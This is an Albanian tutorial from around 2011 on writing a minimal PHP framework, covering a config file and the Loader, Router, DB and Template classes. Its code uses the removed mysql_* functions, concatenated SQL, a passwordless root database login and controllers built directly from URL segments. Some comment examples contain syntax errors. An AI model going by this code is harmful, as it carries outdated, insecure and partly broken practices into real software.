Fituesi do të zgjidhet rastësisht nga lista e pjesëmarrësve në orën 11:00 PM të datës 18 Tetor 2011, dhe përveç se do të njoftohet personalisht për të marrë dhuratat, do të shpallet edhe në këtë temë.

Ju uroj fat!

Përpara se të filloj me guidën, me duhet t’ju paralajmëroj. Ky Framework nuk është një zgjidhje e gatshme! Vërtetë mund të realizoni ndonjë faqe të shpejtë me të, por e sigurtë është që pothuajse aq shpejt mund ta realizoni pa Framework. Kini parasysh që i gjithë kodi i shkruar, aplikacioni demo dhe vetë guida janë realizuar brenda vetëm pak ditëve. Shumë zgjedhje janë bërë për arsye shpejtësie ose për ta mbajtur guidën në një nivel të aksesueshëm nga të gjithë, edhe ata me pak eksperiencë me objektet apo përgjithësisht në PHP. Gjëja e fundit që dua të bëj është t’ju jap informacion të gabuar dhe sidomos, praktikta të pa këshilluara programimi. Konsiderojeni këtë guidë si një mësim për punimin me objekte dhe idenë bazë të ndërtimit të një Framework-u, jo si një zgjidhje copy-paste.

Që tani e tutje, termit Framework do i referohem me Librari (me L kapitale). Është e vështirë të përdorësh fjalë Anglisht në kontekst Shqip me prapashtesat që gjuha jonë ka.

Çfarë është një Librari

Jam i sigurt që ata me fare pak eksperiencë në PHP, të paktën kanë dëgjuar për Librari. Sidoqoftë, le të hedhim pak dritë.

Një Librari është një shtresë abstrakte që vendoset mbi një gjuhë programimi për të thjeshtësuar përgjithësisht kodimin dhe në varësi të rastit, për të përmirësuar në një farë mënyre arkitekturën e gjuhës. Libraritë në PHP nisën të marrin moment me popullarizimin e Ruby On Rails, një Librari web për Ruby që i vendos rëndësi objekteve dhe kodimit të shpejtë. Në një këndvështrim pak të ngushtë, Libraritë për PHP janë të inspiruara nga RoR.

Modeli MVC (Model View Controller) është bërë standarti de-facto për Libraritë dhe kjo jo pa qëllim. E gjithë ideja e kodimit me objekte është ndarja e përgjegjësisë – sa më pak përgjegjësi një objekt, aq më fleksibël dhe i ripërdorshëm bëhet, por gjithashtu aq më e lehtë është të testohet. Nuk është konteksti të shpjegoj çfarë është MVC në terma të arkitekture (programimi), sepse na intereson çfarë bën në PHP. Në thelb, aplikacionet e koduara sipas MVC ndahen në 3 nivele: Modele – Thirrjet në databazë, View – HTML dhe Controller – Ndërmjetësi që thërret modelet, merr hyrjet nga vizitorët dhe i bën gati të shfaqen në faqe. Me këtë sistem, ndahet marrja e të dhënave, prezantimi dhe logjika e aplikacionit.

Krahas përmirësimit të arkitekturës duke “imponuar” (në kuptim të mirë) design patterns të testuara, Libraritë ofrojnë dhjetëra apo qindra funksione të gatshme për të kryer veprime nga ato bazë, deri në tërësisht specifike. Ajo që ofrohet varet shumë nga Libraria, por nëse i hidhni një sy Librarive popullore, do shihni që ndajnë shumë të përbashkëta më njëra tjetrën. Fundja, mjedisi ky është dhe nuk ka shumë për t’ju devijuar modelit bazë.

Pse një Librari e bërë vetë?

Pyetje me vend! Në fakt, duhet të ketë me dhjetëra Librari për PHP dhe disa nga to janë vërtetë të stabilizuara. Nëse përmend CodeIgniter, Zend Framework, CakePHP apo Symfony, flasim për komunitete të tëra që punojnë për to, i testojnë dhe sigurohen që të funksionojnë si ç’pritet në mjedise të ndryshme. Pra, pse një Librari e bërë vetë? Ka disa arsye…

Ashtu si shumë sisteme që tashmë janë publike, edhe Libraritë për PHP me siguri kanë nisur si projekte personale të një personi apo një grupi të vogël. Me përdorimin e tyre në projekte konkrete, kanë shtuar funksionalitete pa fund dhe e kanë modifikuar/përmirësuar vazhdimisht. Në një moment të caktuar kanë vendosur ta lëshojnë publikisht, për ti bërë përmirësimet dhe shtimet akoma më të shpeshta. Rezultati? Një Librari solide, e testuar dhe që përmirësohet shpesh, por me një kod masiv.

Për kuriozitetin tim personal dhe për efekt argumenti për këtë guidë, numërova (sigurisht, jo manualisht!) rreshtat e të gjithë skedarëve në Libraritë më popullore. Rezultatet sigurisht nuk janë 100% të sakta, sepse mund të ketë skedarë pa lidhje me kodin aty brenda, por marxhina e gabimit duhet të jetë e ulët dhe më e rëndësishmja, ju jep një referencë të mirë. Do habiteni! CodeIgniter ka numrin më të vogël të rreshtave me: 49.633. CakePHP vjen i dyti me 5-fish më tepër: 206.508. Symfony e treta me: 287.640. Zend Framework vjen me një numër seriozisht të frikshëm: 708.306. 700 mijë rreshta kod? Në momentin që Libraria i afrohet numrit të rreshtave të interpretuesit (Zend Engine) apo Serverit Web që e egzekuton, ka diçka që nuk shkon! Kjo s’i bën absolutisht të papërdorshme apo zgjedhje të këqija, thjeshtë limiton qëllimin e përdorimit.

Personalisht, kam eksperiencë me çdo lloj tipi kodimi në PHP. Kam koduar kod spageti, me objekte, me Librari, me ekip, pa ekip dhe ku di unë. Nëse rikujtoj mënyrat si kam punuar, seriozisht i këshilloj Libraritë në projekte të mëdha apo kur punohet në ekip. Të vendosësh standarte kodimi nuk bën fare dëm, përkundrazi siguron që i gjithë ekipi ta shkruajë kodin njësoj. Plus, mund ta zgjeroni Librarinë me module që ju përshtaten dhe do keni një kod vërtetë solid. Edhe zgjedhja e Librarisë është e rëndësishme! ZendFramework është një monolith kodi që ka një kurbë goxha të thepisur mësimi. Vërtetë e bën punën mirë, po nuk është për çdo projekt; vetë qëllimi i Zend është ta fusë PHP-në në industrinë Enterprise përmes ZF. Ndërkohë, CodeIgniter është një Librari shumë më e lehtë, që vihet në punë brenda pak minutave dhe do jeni duke koduar aplikacione me të brenda orës.

Nga ana tjetër, nëse kodoni i vetëm për faqe apo aplikacione relativisht të vogla, një Librari e gatshme mund t’ju sjellë më tepër dëme se sa përfitime. Llogarisni që kanë një kurbë mësimi të caktuar, përfshijnë funksionalitete nga të cilat 70% mund të mos i përdorni kurrë dhe përgjithësisht kanë ngarkesë ekstra mbi serverin.

Nëse tentoni të bëni një Librari të vogël vetë, mund ta zgjeroni gradualisht me funksionet që ju duhen, e njihni në majë të gishtave sepse e keni shkruar vetë dhe më e rëndësishmja, do keni mësuar aq shumë gjatë proçesit sa e justifikon të tërë punën.

Si funksionon Libraria në fjalë

Më sipër ju shpjegova modelin MVC. Për hir të guidës, e thjeshtësova idenë dhe e bëra Librarinë thjeshtë VC – pra me Controller dhe Views. Duke hequr Modelet, miksoj në Controller logjikën me të dhënat. Nuk është ndonjë humbje e madhe sidoqoftë për një Librari kaq të vogël. Për më tepër, jam i sigurt që do të dini ti shtoni vetë kur të keni mbaruar me guidën.

Libraria fuqizohet nga disa klasa bazë që ofrojnë funksionalitet kryesore. Klasat bazë janë:

• Loader – Ruan dhe servir objektet globalisht
• Router – Përfshin kontrolluesit dhe metodat e tyre në bazë të URL-së
• DB – Ndërfaqe e databazës
• Template – Ngarkon, zëvendëson pseudo-variablat dhe servir html-në
• Error – Jo tamam një klasë (thjeshtë një funksion) që gjeneron mesazhe gabimi

Pra, si ç’e shihni janë vetëm pak klasa, thjeshtë për të ofruar funksionalitetet bazë. Se ç’bën secila do ja u tregoj me detaje në vazhdim. Tani për tani ju mjafton të krijoni idenë.

Veprimet në Librari janë të ndara në klasa të ndryshme, por në thelb, gjithçka egzekutohet brenda një skedari me emrin index.php. Aty përfshihen klasat, konfigurimi, përcaktohen kontrolluesit, etj. Aplikacioni vetë ruhet në një direktori të quajtur “app” ku mbahen kontrolluesit, pamjet (views) dhe asetet (css, js, imazhe, etj). Si ç’ju thashë më sipër, një kontrollues merret me logjikën (dhe të dhënat e databazës meqë s’përdorim Model), ndërsa një view merret me paraqitjen. E gjithë ideja është për kontrolluesit të ketë një mënyrë të thjeshtë dhe automatike egzekutimi, pa bërë punë manuale. Kjo bëhet pikërisht përmes URL-së dhe Router.

URL-ja ka një format të caktuar që duhet të ndjekë për ta bërë sistemin të funksionojë. Ju thashë që Libraria e egzekuton gjithçka në një skedar index.php. Pra, kur hap indeksin e Librarisë, shkruaj faqja.com/index.php. Ajo që shkruaj pas index.php në URL është me rëndësi vitale për Librarinë sepse do të jenë parametrat e ngarkimit të Kontrolluesëve. Nëse hap faqen faqja.com/index.php/perdoruesit/, automatikisht Libraria do të ngarkojë një klasë Kontrolluesi që e ka emrin “Perdoruesit” dhe do të egzekutojë metodën home() të tij – kjo e fundit është një zgjedhje e imja dhe të gjithë kontrolluesit duhet të kenë një metodë home(). Ta zëmë se me /perdoruesit/ shfaq listën e përdoruesëve, por me /perdoruesit/shfaq/1/ dua të shfaq nga databaza përdoruesin me ID=1. Mjafton që në klasën e Kontrolluesit “Perdoruesit” të shtoj një metodë shfaq(), të marr ID-në nga UR, të marr të dhënat nga databaza dhe në fund ti vendos ato të dhëna në shabllone (template). Duket e komplikuar? Ju siguroj që s’është dhe nëse keni punuar ndonjëherë me Librari, kjo është një strukturë mjaft standarte. Sidoqoftë, do fillojnë të marrin kuptim gjërat gradualisht kur t’ju tregoj kodet për secilen klasë dhe në fund shembuj nga një faqe e vogël e gjeneruar me këtë Librari. Oh, gjithashtu index.php/ mund të fshihet shumë lehtë me mod_rewrite, gjë që unë e kam bërë në kodin e gatshëm për shkarkim. Pra, faqja.com/index.php/perdoruesit/shfaq/1/ transformohet në faqja.com/perdoruesit/shfaq/1/. Më bukur dhe më pastër pa atë index.php.

Krahas Router-it që vendos në punë Kontrolluesit, po aq të rëndësishme janë edhe të tjerat. Klasa Loader bën të mundur aksesin global të të gjitha objekteve, pa pasur nevojë të deklarohen çdo herë. Klasa DB ofron një ndërfaqe të thjeshtë ndaj databazës në mënyrë që mos të përdoren funksione direkte të një RDBMS, por metoda personale. Psh, në vend të mysql_query() shkruaj $db->query(). Klasa Template merr HTML-në e Views dhe e paraqit në faqe. Bën pak më tepër se aq në fakt, sepse kam futur opsione si: pseudo-variabla, includes dhe pseudo-konstante.

Së fundmi, diçka që i përket kodit dhe vazhdimit të guidës. I gjithë kodi është në Anglisht, sepse e kam të vështirë të miksoj Shqip (emra variablash, funksionesh dhe klasash) me Anglisht (konstruktet e gjuhës) në kode të gjata. Ju kërkoj ndjesë për këtë. Por, kushdo me njohuri fare bazë të Anglishtes do e kuptojë pa problem sepse fjalët e përdorura nuk jan të komplikuara. Kuptohet që komentet janë të gjitha në Shqip dhe të detajuara për çdo rresht, kështu që gjatë guidës do ju tregoj vetëm çfarë bën klasa në vija të përgjithshme dhe mënyra si mund ta përmirësoni.

Le të fillojmë!

Çfarë duhet për të përdorur Librarinë

Jo shumë në fakt. Mjafton një server tipik me Apache, PHP dhe MySQL. Do të duhet PHP 5 (sa më i lartë nën-versioni, aq më mirë), gjë që tashmë është bërë standart, edhe në hostet shared më të humbur. Nevojitet gjithashtu që Apache të ketë të aktivizuar modulin mod_rewrite dhe serveri të suportojë skedarë .htaccess për të rishkruar URL-të. Nëse nuk i suporton, do detyroheni të mbani pjesën “index.php” në URL.

Konfigurimi

Libraria përdor një skedar të quajtur “config.php” ku ruhen pak konstante që do të përdoren nëpër të gjithë sistemin: URI ku ndodhet Libraria, tipet e gabimeve që do të mund të gjenerohen dhe të dhënat e databazës. I kam ruajtur si konstante që mos të jetë e mundur të ndryshohen më pas, por edhe pse, nga ana vizuale kodi më ngjan më mirë. Shpesh herë, në raste të tilla përdoren edhe vektorë në formën: $conf['PATH']. Personalisht, jam përkrahës i konstanteve.

<?php
/*
	Vendos nese duhet te aktivizohet DEBUG apo jo. Perdoret per raportimin
	e gabimeve ne funksionin ErrorHandler() ne core/error.php.
 
	Vendose ne 0 nese aplikacioni ndodhet ne server produksioni.
*/
define('DEBUG', 1);
 
//URI-ja e aplikacionit
define('PATH', 'http://www.faqja.com/');
 
//Konstante per tipet e gabimeve
define('FATAL', E_USER_ERROR);
define('ERROR', E_USER_WARNING);
define('WARNING', E_USER_NOTICE);
 
//Te dhenat e serverit MySQL dhe emri i databazes
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', '');
define('DB_NAME', 'framework');
?>

Klasa Loader

Loader është një klasë e dedikuar për ngarkimin dinamik të objekteve, duke lehtësuar përdorimin e objekteve të tjerë brenda një klase. Praktikisht, quajeni një vend ku ruhen objekte të deklaruar dhe serviren nëpër aplikacion sa herë që kërkohen, pa pasur nevojën e deklarimit të tyre sërish. Është një lehtësim që i kam ofruar vetes, edhe pse realisht në një Librari kaq të vogël, mund t’ja dilja shumë mirë Loader.

Në thelb, Loader-i është një Design Pattern e quajtur Registry. Mban 2 metoda statike, store() dhe load(), njëra për të ruajtur objektet e deklaruar dhe tjetra për ti servirur ato. Çfarë janë metodat statike? Lexoni më poshtë.

Për të shpjeguar çfarë janë metodat statike, më duhet t’ju shpjegoj konceptin Klasë vs Objekt. Ndryshimi është vetëm deklarimi – i vogël por themelor. Një objekt është instanca e një klase pasi është deklaruar (në PHP me fjalën kyçe “new”). Në momentin që klasa kthehet në objekt, të gjitha metodat dhe variablat (properties) e saj bëhen të aksesueshme. Nga ana tjetër, metodat statike deklarojnë funksione që mund të përdoren direkt në nivel klase, pa e deklaruar atë. E mira këtu është se metodat statike mund të aksesohen direkt nga klasa të tjera. Në vend të selektorit të objekteve “->”, për metodat statike përdoren “::”. Psh, për Loader-in do kishim “Loader::load()”, cila do të thërriste metodën load(). E njëjta gjë vlen edhe për variablat statike në klasa.

Ajo që unë s’kam bërë në klasën Loader është implementimi i Singleton (për ta bërë RegistrySingleton) që do më siguronte që të merrja vetëm një instancë të objekteve. Jo se përtoja, por sepse është një teknikë që po konsiderohet anti-pattern dhe përgjithësisht është e shëmtuar. Në fakt, edhe vetë Registry po konsiderohet anti-pattern, sepse aksesi global i klasave rrallë është gjë e mirë. Një design pattern që e respekton filozofinë e punës me objekte është Dependency Injector, por që do e rriste nivelin e kompleksitetit në kod dhe “target-grupin” e personave që i drejtohet kjo guidë.

Kodi i klasës Loader:

<?php
class Loader {
 
	/*
		Variabla statike qe do te mbaje listen e objekteve. Do te jete
		kjo variabel qe nga funksionet me poshte ruan dhe ve ne perdorim
		objektet.
	*/
	private static $objects = array();
 
	/*
		I kam bere __construct() dhe __clone() privat ne menyre qe te
		ndaloj therritjen direkte te objektit apo klonimin e saj. Klasa
		do te perdoret vetem per 2 metodat store() dhe load(), thirrjet
		ndaj te cilave do te jete direkte, ne nivel klase, jo si objekt.
	*/
	private function __construct () {}
	private function __clone () {}
 
	/*
		Funksioni statik qe do te ruaje objektet dhe do ti nise ato.
		Parametrat s'jane te paracaktuar, por dinamike. Ne kuptimin qe
		funksioni mund te therritet si: store('db') ose store('db', 'router', 'template').
	*/
	public static function store () {
		/*
			func_get_args() kthen numrin e parametrave te vendosura ne
			funksion. Nese ka te pakten nje parameter, blloku egzekutohet.
		*/
		if (func_get_args()) {
			/*
				func_get_args() kthen nje vektor me te gjithe parametrat
				dinamike qe jane percaktuar gjate therritjes se funksionit.
				Nese perdoruesi ka shkruar:
 
				[ Loader::store('db', 'router'); ]
 
				func_get_args() do te ktheje nje vektor qe duket si:
 
				[ array('db', 'router'); ]
			*/
			$params = func_get_args();
 
			/*
				Bej nje lak (loop) ne parametra, ku supozohet qe cdo parameter
				te jete nje emer klase. Variables $objects i shtoj nje vlere te re
				ku ndodhet klasa e nisur (me: new) dhe si celese vete emri i klases.
				Ne kete forme, kur te shkruaj: Loader::store('db', 'router'); variabla
				$objects do nise klasat me te njejtat emra dhe perseri me te njejtat emra
				do te kem mundesi ti ngarkoj me: Loader::load('db', 'router'). Ky i fundit
				shpjegohet me poshte. 
			*/
			foreach ($params as $param) {
				self::$objects[$param] = new $param;
			}
		}
	}
 
	/*
		Funksioni statik qe ngarkon objektet dhe i ben te gatshem per perdorim.
		Ideja ketu eshte shume e ngjashme me funksionin store().
	*/
	public static function load () {
		if (func_get_args()) {
			$params = func_get_args();
			$output = array();
			$last_param;
 
			/*
				Bej nje lak per te gjitha parametrat dhe per secilin kthej objektin
				e ruajtur ne variablen $objects. Funksioni array_key_exists() kontrollon
				nese emri i objektit te percaktuar egziston si celes ne variablen $objects.
			*/
			foreach ($params as $param) {
				if (array_key_exists($param, self::$objects)) {
					$output[$param] = self::$objects[$param];
 
					/*
						Ruaj parametrin e fundit te suksesshem
					*/
					$last_param = $param;
				}
			}
 
			/*
				Nese vektori $output ka vetem nje rezultat, atehere nuk kthej nje vektor me objekte,
				por nje vektor te vetem. Perdora nje variabel qe ruan parametrin e fundit ($last_param)
				per ta pasur te lehte thirrjen e vektorit me nje celes specifik.
			*/
			if (count($output) == 1) {
				$output = $output[$last_param];	
			}
 
			return $output;
		}
	}
 
}
?>

Klasa Router

Router-i është ai që përcakton çfarë Kontrolluesi do të aktivizohet në bazë të parametrave të URL-së. Ideja është fare e thjeshtë. Çdo Kontrollues ruan një uniformitet me emrin e klasës, skedarin ku ndodhet dhe parametrin në URL. Le të themi që na nevojitet një Kontrollues që do të kryejë veprimet e shportës. Krijojmë një skedar nën “app/controller/” me emrin “shporta.php“. Brenda tij, krijojmë një klasë me emrin “Controller_Shporta“, ku pjesa “Controller_” është standart i detyrueshëm për të gjithë kontrolluesit. Në klasë krijomë 2 metoda, njëra home() dhe tjetra boshatis(). Me këtë strukturë tipike, Router-i do të bëjë punën e tij.

Nëse hapim adresën “index.php/shporta/“, automatikisht Router-i do të shikojë nëse egziston një Kontrollues me emrin “Controller_Shporta“, do ta deklarojë atë dhe do të thërrasë metodën primare home(). Kjo e fundit është e detyrueshme për çdo Kontrollues, duke qenë se egzekutohet në momentin që Kontrolluesi thërritet pa metodë. Ajo që do na duhet të bëjmë është të ofrojmë një faqe që boshatis shportën, prandaj edhe krijuam metodën boshatis(). Mjafton të vendosim parametrin e dytë në URL, duke e bërë atë “index.php/shporta/boshatis/” dhe automatikisht Router-i egzekuton metodën boashtis() të Kontrolluesit “Controller_Shporta“. Ka kuptim besoj?!

Si ç’e keni kuptuar tashmë, parametri i parë në URL përcakton Kontrolluesin, ndërsa parametri i dytë përcakton metodën që duhet të egzekutohet. Në këtë formë kam një sistem dinamik dhe me URL të bukura. Edhe nga ana kodit është mjaft e thjeshtë. Merr URL-në aktuale, e ndan në copeza në bazë të karakterit “/” dhe deklaron objektin së bashku me metodën përkatëse. Mjafton që të ndiqet e njëjta nomeklaturë dhe gjithçka funksionon pa probleme.

Si mund të përmirësohet Router-i? Në thelb, punën e bën si ç’duhet, por ka vend për përmirësime në logjikë. Mund të përdoret fare mirë REST, një teknikë që përdor metodat e kërkesave të protokollit HTTP dhe që gjen përdorim masiv në Web Services. Në po të njëjtën ide mund të përdoret për të instruktuar shfletuesin se çfarë lloj kërkese po dërgohet, në mënyrë që të kenë kuptim semantik dhe të jenë logjikisht të ndara. REST shfrytëzon metodat: GET, POST, PUT dhe DELETE. GET mund të përdoret për të shfaqur të dhëna; POST për të futur të dhëna të reja; PUT për të ndryshuar të dhëna dhe DELETE për të fshirë të dhëna. Kuptohet, kërkon më tepër punë dhe përgjithësisht e komplikon Router-in, por në fund do të keni një sistem solid që shfrytëzon HTTP si ç’duhet dhe me kuptim, ku secili veprim (Shto, Shfaq, Ndrysho dhe Fshi) përdor një metodë të caktuar të HTTP. Në fund mund ti shtoni kapje gabimesh për të servirur faqe me header 404 nëse një Kontrollues apo metodë e tij nuk egziston.

Kodi i klasës Router

<?php
class Router {
 
	/*
		Variabel globale e klases ku do te ruhet adresa e faqes
	*/
	private $url = '';
 
	/*
		Funksion qe merr adresen e faqes ($_SERVER['PHP_SELF']) dhe e perpunon
		per te nxjerre gjithcka qe ndodhet pas index.php. Pra, nese kemi adresen:
 
		[ http://www.faqja.com/index.php/perdoruesit/shfaq/ ]
 
		variabla $url do te manipulohet qe te mbetet vetem:
 
		[ perdoruesit/shfaq]
 
		Me htaccess, index.php fshihet qe url-te te jene sa me te lexueshme.
	*/
	public function findRoute () {
		$url = $_SERVER['PHP_SELF'];
		$this->url = substr($url, strrpos($url, 'index.php') + strlen('index.php'));
		$this->url = trim($this->url, '/');
		return $this->url;
	}
 
	/*
		Funksioni qe percakton nga copezat e url-se se cfare Kontrolluesi po kerkohet
		dhe cilen metode te egzekutoje.
	*/
	private function decodeRoute () {
		/*
			Me explode() kam ndare url-ne ne copeza me ndarez karakterin /. Copezat
			bashkohen te gjithe ne nje vektor. Praktikisht:
 
			perdoruesit/shfaq (explode) => array('perdoruesit', 'shfaq');
		*/
		$params = explode('/', $this->url);
		/*
			Ndertoj emrin dinamik te klases qe do te egzekutohet. Klasat e Kontrollueseve
			fillojne gjithmone me Controller_. $params[0] kthen vleren e pare te vektorit,
			qe eshte parametri i pare i url-se.
		*/
		$class = 'Controller_' . $params[0];
 
		/*
			Per siguri, kontrolloj nese klasa e Kontrolluesit qe do te tentoj te perfshij,
			egzsiton. Kjo copez s'ka shume shance te egzekutohet sepse nese nje klase nuk
			egziston, aplikacioni do te deshtoje qe tek __autoload() ne index.php.
		*/
		if (!class_exists($class)) {
			trigger_error("Kontrolleri $class nuk egziston.", FATAL);
		}
 
		/*
			Nis objektin e Kontrolluesit
		*/
		$controller = new $class;
 
		/*
			Pjesa e pare e if() kontrollon nese eshte vendosur nje parameter i dyte, i cili
			sherben si funksioni qe objekti i Kontrolluesit do te egzekutoje. Per siguri,
			kontrollojme gjithashtu nese metoda egziston ne klase, per te qene te sigurt
			qe po egzekutojme nje metode te vlefshme.
 
			Nese eshte vendosur parametri i dyte, egzekutoj ate metode ne klasen e Kontrolluesit.
			Ne te kundert, egzekutoj metoden home(), qe eshte metoda default e cdo Kontrolluesi.
 
			**Shenim: Kontrolli me method_exists() mund te perdoret per te kthyer gabimin 404 - 
			faqja nuk egziston. Praktikisht, nese vizitori vendos nje url e cila nuk perkthehet
			ne Kontrollues dhe metoda, url-ja supozohet te mos egzistoje. Megjithate, une e mbajta
			te thjeshte kodin ne kete rast dhe nuk e perfshiva kete funksionalitet.
		*/
		if (isset($params[1]) and method_exists($controller, $params[1])) {
			$controller->$params[1]();	
		} else {
			$controller->home();	
		}
	}
 
	/*
		Funksioni qe therritet kur duhet te ngarkohet nje Kontrollues. Thjeshte sherben si nderfaqe
		ndaj decodeRoute().
	*/
	public function loadController () {
		$this->decodeRoute();
	}
 
	/*
		Funksioni qe therritet kur nuk eshte vendosur asnje ne url; pra ne index. Automatikisht
		egzekutohet Kontrolluesi Controller_Main dhe metoda home().
	*/
	public function loadMainController () {
		$main = new Controller_Main;
		$main->home();	
	}
}
?>

Klasa DB

Klasa e Databazës nuk është asgjë më shumë se sa një ndërfaqe ndaj funksioneve specifike; në këtë rast të MySQL. E gjitha bëhet për të ofruar funksione gjenerike, në mënyrë që mos të përsëriten gjatë të gjithë kodit funksionet specifike. Po marr një shembull. Le të supozojmë se po ndërtoni një aplikacion që përdor MySQL dhe pa e vrarë mendjen, vini në përdorim funksionet specifike të MySQL si: mysql_query(), mysql_fetch_assoc(), mysql_num_rows(), etj. Në një moment, aplikacioni bëhet shumë intensiv dhe vendoset që databaza të kalojë në Oracle. Katastrofë! Përveç se do ju duhet të rishikoni query-t e bëra dhe ti optimizoni për Oracle, do ju duhet ti ndërroni të gjitha funksionet mysql_, në ekuivalentët Oracle (oci_). Për ta zbutur dhimbjen, vjen në ndihmë klasa e Databazës.

Në vend që të shkruaj direkt mysql_query() apo funksione të tjera specifike, kam krijuar një klasë që ofron metoda për ti thërritur. Mjafton të shkruaj $db->query(), $db->results() apo $db->num_rows() për të thërritur respektivisht mysql_query(), mysql_fetch_assoc() dhe mysql_num_rows(). Nëse një ditë do të më duhet ta migroj databazën në një sistem tjetër, mjafton të ndërroj funksionet në klasën e Databazën dhe i gjithë aplikacioni është i sigurtë. Kaq e thjeshtë, por me rëndësi kritike në momentin kur duhet.

Por, krahas portabilitetit, klasa e Databazës mund të jetë një ndërfaqe që ofron lehtësira. Mund të kodohet që ti pastrojë automatikisht parametrat në një query, të ofrojë një ndërfaqe më intuitive për futjen e të dhënave dhe çfarëdo që ju bie ndërmend. Në rastin konkret, krahas metodave query(), results() dhe num_rows(), unë kam shkruajtur: change() – për të ndërruar databazën aktive dhe clean() – për të pastruar të dhënat me mysql_real_escape_string().

Si mund të përmirësohet klasa e Databazës? Një praktikë e mirë për abstraktimin (është fjalë kjo?) e databazave është përdorimi i një design pattern të quajtur Active Record. Kuptohet, mund ti rrini strikt specifikimeve ose jo, kjo është në dorën tuaj, por përgjithësisht është ide e mirë të bëni implementimin tuaj dhe jo të merrni zgjidhje të gatshme që mund të mos funksionojnë për ju. Ideja e një shtrese abstrakte është të ndërfaqësoje gjithçka; pra të mos shkruani query në formën bazë, por ti ndërfaqësoni me funksione të veçanta: $db->select(‘emri’, ‘email’)->from(‘perdoruesit’)->where(array(‘id’=’10′));. Query-t kthehen në objekte dhe më e rëndësishmja, abstraktohen aq sa migrimi është fare i thjeshtë.

Për ta mbyllur seksionin, ju këshilloj ti hidhni një sy PDO, sepse ofron mjaftueshëm drivera për sisteme të ndryshme, funksionalitet me objekte dhe lehtësira.

Kodi i klasës DB

<?php
class DB {
 
	//Variabla qe do te mbaje rezultatet e kthyera nga mysql_query()
	private $results;
 
	/*
		Per lehtesi kam bere lidhjen me serverin e databazes dhe selektimin e saj
		direkt ne __construct(). Funksioni egzekutohet ne momentin qe klasa krijohet.
		Variablat e perdorura jane konstante te deklaruara ne config.php
	*/
	public function __construct () {
		mysql_connect(DB_HOST, DB_USER, DB_PASS) or trigger_error('Nuk u krye lidhja me serverin e databazes', FATAL);
		mysql_select_db(DB_NAME) or trigger_error('Nuk u gjend nje databaze me emrin e dhene', FATAL);
	}
 
	/*
		Nje funksion ndihmes per te nderruar databazen. Thjeshte nje thirrje e vetme
		e funksionit mysql_select_db(). Nje shembull perdorimi:
 
		$db->change('emri_i_tables');
	*/
	public function change ($new_db) {
		mysql_select_db($new_db) or trigger_error('Nuk u gjend nje databaze me emrin e dhene', FATAL);
	}
 
	/*
		Funksion per te egzekutuar nje query. Kontrollohet fillimisht nese query e shkruar
		nuk eshte bosh dhe eshte tekst para se te behet thirrja ne databaze me mysql_query().
		Ne fund, kontrolloj nese mysql_query() ka kthyer FALSE dhe nese po, do te thote qe 
		ka deshtuar.
 
		return $this eshte nje menyre per te bere method-chaining (zinxhir metodash) ne PHP.
		Praktikisht funksioni query() kthen nje objekt dhe variabla qe e pret kete objekt,
		mund te perdoret vete si e tille dhe te therrase metoda te vete atij objektit.
 
		Perdorimi i objektit $db dhe funksioneve query() dhe result() do te ngjante e tille
		nese s'do perdorja zinxhir metodash:
 
		$query = $db->query('SELECT * FROM tabela');
		foreach ($db->results = $row) {
			echo $row['kolona'];	
		}
 
		Ndersa me zinxhir metodash do te ngjante e tille:
 
		$query = $db->query('SELECT * FROM tabela');
		foreach ($query->results = $row) {
			echo $row['kolona'];	
		}
 
		Ndryshimi eshte minimal, por me intuitiv sepse perdor direkt variablen $query per
		te marre rezultatet dhe per ti bere atyre loop.
	*/
	public function query ($sql) {
		if ($sql == '' or !is_string($sql)) {
			trigger_error('SQL e shkruar nuk eshte e vlefshme', FATAL);
		}
 
		$this->results = mysql_query($sql) or trigger_error('Query nuk funksionoi', FATAL);
 
		if (!$this->results) {
			trigger_error('Query nuk funksionoi', FATAL);
		}
 
		return $this;
	}
 
	/*
		Funksioni qe perpunon rezultatet e ktheyra nga query dhe i kthen ne forme te dhenash.
		Fillimisht behet nje while() i cili lexon cdo rresht te kthyer dhe e fut ate ne nje
		vektor. Me pas kontrolloj nese eshte kthyer vetem 1 rresht, te cilin e kthej si
		nje vektor 1-dimensional. Ne te kundert, kthej direkt vektorin multi-dimensional
		qe permban te gjithe rreshtat.
 
		Nese e di qe query kthen shume rreshta, do kem nje kod te tille:
 
		$query = $db->query('SELECT * FROM tabela');
		foreach ($query->results() as $row) {
			echo $row['kol1'] . $row['kol2'];
		}
 
		Nese e di qe query kthen vetem 1 rresht, nuk eshte nevoja te bej lak:
 
		$query = $db->query('SELECT * FROM tabela WHERE id=10 LIMIT 1');
		$values = $query->results();
		echo $row['kol1'] . $row['kol2'];
	*/
	public function results () {
		$values = array();
 
		while ($row = mysql_fetch_assoc($this->results)) {
			$values[] = $row;
		}
 
		if (count($values) == 1) {
			$values = $values[0];	
		}
 
		return $values;
	}
 
	/*
		Nje funksion fare i thjeshte qe kthen numrin e rreshtave te nje query me ane te
		funksionit mysql_num_rows(). Nje shembull perdorimi:
 
		$query = $db->query('SELECT * FROM tabela');
		echo $query->num_rows();
	*/
	public function num_rows () {
		if (mysql_num_rows($this->results)) {
			return mysql_num_rows($this->results);	
		}
	}
 
	/*
		Edhe ky eshte nje funksion i thjeshte qe pastron te dhenat qe do te futen ne databze
		me mysql_real_escape_string(). Nje shembull perdorimi:
 
		$emri = $db->clean($_POST['emri');
		$email = $db->clean($_POST['email]);
		$query = $db->query("INSERT INTO perdoruesit (emri, email) VALUES ('$emri', '$email')");
	*/
	public function clean ($input) {
		if ($input != '') {
			return mysql_real_escape_string($input);	
		}
	}
 
}
?>

Klasa Template

Në PHP, Shabllonet janë të kritikuara nga disa dhe të lavdëruara nga të tjerë. Një grup i lavdëron sepse të lejojnë të shkruash HTML pa e pëzier prezantimin me logjikën PHP dhe pse skedarët janë më të lehtë të menaxhohen nga diznjues/kodues që nuk njohin PHP-në. Nga ana tjetër, ka të tjerë që i kritikojnë sepse shtojnë një nivel abstrakt që nuk nevojitet për një gjuhë që vetë është një “template” për HTML. Zgjedhja mbetet personale dhe tërësisht e varur nga qëllimi.

Ajo që unë personalisht kritikoj janë Template Engine si Smarty, që ofrojnë aq shumë sa vështirësia për ti mësuar krahasohet me vetën PHP-në. Diskutimi këtu është i ngjashëm me atë rreth Zend Framework dhe 700.000+ rreshta kod të saj. Në momentin që Shabllonet bëhen më të komplikuara se vetë gjuha, ka diçka që nuk shkon.

